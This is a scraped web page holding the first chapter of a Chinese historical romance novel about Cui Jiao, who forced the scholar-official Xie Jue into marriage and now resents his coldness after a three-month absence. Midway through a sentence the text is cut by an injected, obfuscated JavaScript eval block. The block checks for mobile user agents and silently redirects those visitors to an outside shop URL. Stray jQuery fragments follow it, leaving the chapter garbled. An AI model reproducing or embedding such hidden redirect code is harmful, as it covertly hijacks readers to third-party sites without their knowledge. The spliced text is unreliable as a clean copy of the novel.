文趣网 > 其他小说 > 逼婚清冷权臣后她变心了 > 1. 第 1 章
    “见着崔娘子这怡然自得的模样,长安城里先前那些编排你跟谢大人的传言,定是都不攻自破了。”

    有说有笑时,不知是谁说了句煞风景的话。

    宴上骤地安静下来。

    众人眼观鼻,鼻观心,不敢接话。

    有人偷偷往崔皎那儿瞧去,生怕这位娇生惯养的小娘子不高兴,当场就要发难。

    好端端的,怎么哪壶不开提哪壶?崔皎跟谢珏那门并不美满的婚事,三年前闹得整个长安城沸沸扬扬。

    祖父是帝师,姑母是皇后,崔家小娘子从小要风得风,要雨得雨。

    临了想嫁寒门子弟,竟然会碰一鼻子灰。

    谁让她一见钟情的谢珏虽出身寒微,却并非趋炎附势之徒。

    相反,谢大人是个孤直不阿的清流文臣。

    当时扬州刺史贪墨一案,牵连甚众,事涉天家。多少人装聋作哑,怕一不小心掉脑袋,推推搡搡想找替死鬼,最后找到了谢珏。

    谁也没想到,二十出头的谢珏会将这团乱麻一刀斩尽,举重若轻,不留后患。自此得了圣上青眼,一岁三迁,成了长安城最炙手可热的后起之秀。

    这般芝兰玉树、光风霁月的谦谦君子,怎么会在意做崔家婿的好处?

    明眼人都瞧得出,崔皎跟他是两路人。

    奈何不了崔皎穷追不舍,死缠烂打,什么不光彩的手段都用上了,最后终于生米煮成熟饭,逼得谢珏不得不娶她。

    那段时间,闹剧一桩接着一桩,全成了人们茶余饭后的笑谈。

    但上座的崔皎闻言,并未见恼。

    她一手撑着下巴,脸上还挂着盈盈的笑,嗓音似莺啼:“什么传言,怎么不说出来听听?”

    挑起话柄的顾二娘子没料到她反应如此淡定,对上那双漂亮的桃花眼,脸色微微一僵。

    隔了半晌,顾二娘子才挤出一抹笑:“怪我嘴拙,原本是想羡慕崔娘子鲜妍更甚从前,可见日子过得舒心,结果词不达意,叫人误会了。”

    这话倒没说错。

    崔皎未出阁时就是出了名的花容月貌,一张芙蓉面,艳绝长安城。

    嫁作人妇三载,这朵芙蓉不但不见半点憔悴,反而比从前更盛。

    艳若桃李,肤若凝脂,连同为女子见了,都会忍不住生出好逑之心。

    难怪最近这一年半载的,再也没有听说过谢大人夫妻不和的传闻。每逢官员携家眷出席,两人都出双入对,瞧着倒是相敬如宾,举案齐眉。

    原来就算是铁石心肠的柳下惠,日子长了,也无法对这般娇滴滴的大美人不假辞色。

    崔皎心里有事,懒得跟顾娘子多计较,也没接话。她低头,有一搭没一搭地摆弄起腕上的金镶绿松石手钏。

    可她不想搭腔,也不耽误人吹捧:

    “诶,那不是圣上前月给谢大人的赏赐么?”

    “若是我家里头那位,得了御赐之物,供起来都来不及,哪会真拿给我,崔娘子可真是好福气……”

    “那能一样吗?谢大人如今独得圣心,二十又五便做到御史中丞。圣上的赏赐,谢府里怕是放都不放下了。”

    “是啊,这回陇州的案子,又是任谢大人为黜陟使,让他全权负责,当真是独占鳌头……”

    换作平时,崔皎定会装模作样地矜持一下,再美滋滋地受下这些恭维。

    又是夸她夫妻恩爱,又是夸她夫君得力,这样的好话谁不爱听?

    但一提到陇州,崔皎什么心情都没了——

    崔皎瞥了眼贴身侍女丹桂,丹桂凑到她耳边:

    “大人如今在前院与顾大人议事。”

    “他知晓娘子也来了此处,让奴婢来知会您,晚些一起回府。”

    崔皎:“就这样?”

    丹桂面露难色:“娘子你别多想,我瞧大人那样,不像是有什么事瞒着,也许只是、只是……”

    崔皎心头一哂。

    三月前,谢珏奉圣上之命,前往陇州平案,审查谋反的魏王旧部。她听闻陇州霜寒,心头不宁,寄了好几封书信去,谢珏只字未回。

    这便罢了,彻查重案要紧,儿女情长哪里比得上国政大事。

    可三日前,谢珏回京。整整三日,别说回来见她,甚至都没往府上带一句话!

    第一日,她告诉自己,谢珏舟车劳顿,无暇顾及。

    第二日,便当谢珏是忙于公务,分'身乏术。

    可第三日,他都有空去同僚府上了,怎么还没空知会她一声?

    恰巧顾二娘子递了请帖,崔皎应下,直接上顾府来堵谢珏。

    若是三年前,崔皎此时已经推开顾家书房大门了。

    她从小就是掌上明珠,哪里受得起半点冷落?必须要让谢珏给她个交代。

    可想了想,崔皎只是意兴阑珊地道:“那你同他说,我累了,申时前就想回去。”

    申时,谢珏差贴身侍从长生来报,他在府前等她。

    还没走到门口,远远地,崔皎就一眼望见那抹峻拔颀长的身形。

    马车前,谢珏长身玉立。他没穿朝服,身着月白斓袍,腰间只系一条素银带,清介端正,如松如竹。

    一旁的同僚见着崔皎了,还笑着揶揄道:

    “先前不知谢夫人来了府上,我还奇怪,谢大人怎会忽然让人把余下的案牍送回谢府。”

    谢珏不置一词,只道:“多谢顾兄相送。”

    他伸手扶崔皎上马车,动作熟稔,仿佛做过千百遍。

    崔皎的柔荑搭上去,两人这番相处,落在其他人眼中,怎么看都像是恩爱夫妻。

    崔皎先落座。她习惯性往里靠了些,身边空出来极宽阔的位置,坐两人都有余。

    但谢珏还是径自坐在了她对面。

    车轮辘辘,崔皎表面在欣赏长安城繁华的市井,注意力却一直悄悄落在对面的男人身上。

    谢珏一直在看着她。

    晾了他一炷香后,她把脸转回来:“怎么了?”

    谢珏道:“寻常聚会,不必这般浮夸。”

    崔皎顺着他的目光,看向自己腕上的手钏。

    “……”

    她垂着袖,手腕几乎都完全隐在袖里了,谢珏竟还留意得到。

    不知是该说他心细,还是严苛。

    崔皎从小到大都张扬得很,娘亲说了,做人就如春日的花,拢共才盛开那点时日,不花枝招展、轰轰烈烈,还有什么意思?

    偏偏谢珏端方持重,向来衣冠必整,容止必肃。

    尤其是如今他掌御

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607813|205779||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    史台,监察百官,又被朝上一双双眼睛盯着,更该以身作则。

    婚后,崔皎的性子已经收敛了许多。

    御赐之物不止贵重,在这风口浪尖,更有些别的意味。换作平常,她不会随便戴的。

    今天是出门时满脑子在想谢珏的事,忘了这茬。丫鬟们察言观色,也都没提醒。

    说起来,罪魁祸首不就是他吗?

    崔皎故意重重冷哼一声,甩开脸,不理他。

    “……夫人。”

    谢珏唇角抿成一条直线,嗓音依旧平静无澜:“在这件事上,我们约法三章过。”

    他原本不这么称呼她的。是当时约法三章,各自提条件,在崔皎的强烈要求下,谢珏才极勉强地改的口。

    不提还好,一提,崔皎就想起他当时听见这个条件时的表情。

    跟现在一模一样。

    她娇艳的脸蛋又转了回来,美眸含刺:“君子贵在自省,说我之前,某些人是不是应该先反省一下自己的错误?”

    看谢珏那稍顿的反应,很显然,他压根不知道她在说什么。

    崔皎如鲠在喉。马车正好在此时停下,她没等他,扬长而去。

    丹桂紧赶慢赶着追到寝房:“娘子,您先喝口茶消消气。”

    起的是心火,喝口凉茶有什么用,崔皎背着大门,故意不去看外边的动静。

    她深吸一口冰冷的空气,才看向丹桂:“谢珏呢?”

    丹桂的声音一下子低了:“大人好像没往这边来……”

    谢府宅邸宏阔,他想要避开她,有的是去处。

    说不定,谢珏今晚就不回来了。成亲伊始,他就总歇在书房。

    这三年,似乎只有崔皎改了性子。

    谢珏始终都如那轮天上月。不论她为什么生气,又怎么在气头上,他都不会同她起争执。

    或者说,懒得跟她费口舌。

    崔皎喝了口茶:“……算了,先给我更衣吧。”

    繁复华丽的华服一层层卸下,只剩贴身的诃子长裙。

    纱罗之下,玉色隐隐。

    忽地,身后传来谢珏的声音:“下去吧。”

    主仆双双愣住。

    丹桂看了眼崔皎,大着胆子没过问主子意见,快速道:“那奴婢先告退了。”

    “喂——”

    崔皎转身想拦,却差点一头撞上迎面而来的谢珏。

    谢珏虽是文臣,却并非瘦骨嶙峋的文弱书生。

    他高出她一个头还多,宽肩窄腰,映下来的影子都完全可以覆住她整个人。

    对上他冷淡的眉眼,崔皎将到嘴的话咽了下去。

    她决定先听听他要说什么。这男人忽的过来,又遣了下人,总该有些表示吧?

    然而,那道目光只是掠过她露出的雪肩玉臂,没作任何停留。

    一转眼,男人便收回了视线,一言未发,越过她,掀帘进了汤室。

    见他仿佛视她如无物的背影,崔皎终于忍不了了:“谢珏!你几个意思!?”

    谢珏顿住脚步,没回头,语调平静:

    “按你我商议,五日同房一次。因公务外迁三月,积欠至今。你若觉得是我失约,为此闹脾气——”

    “今晚补回来就是。”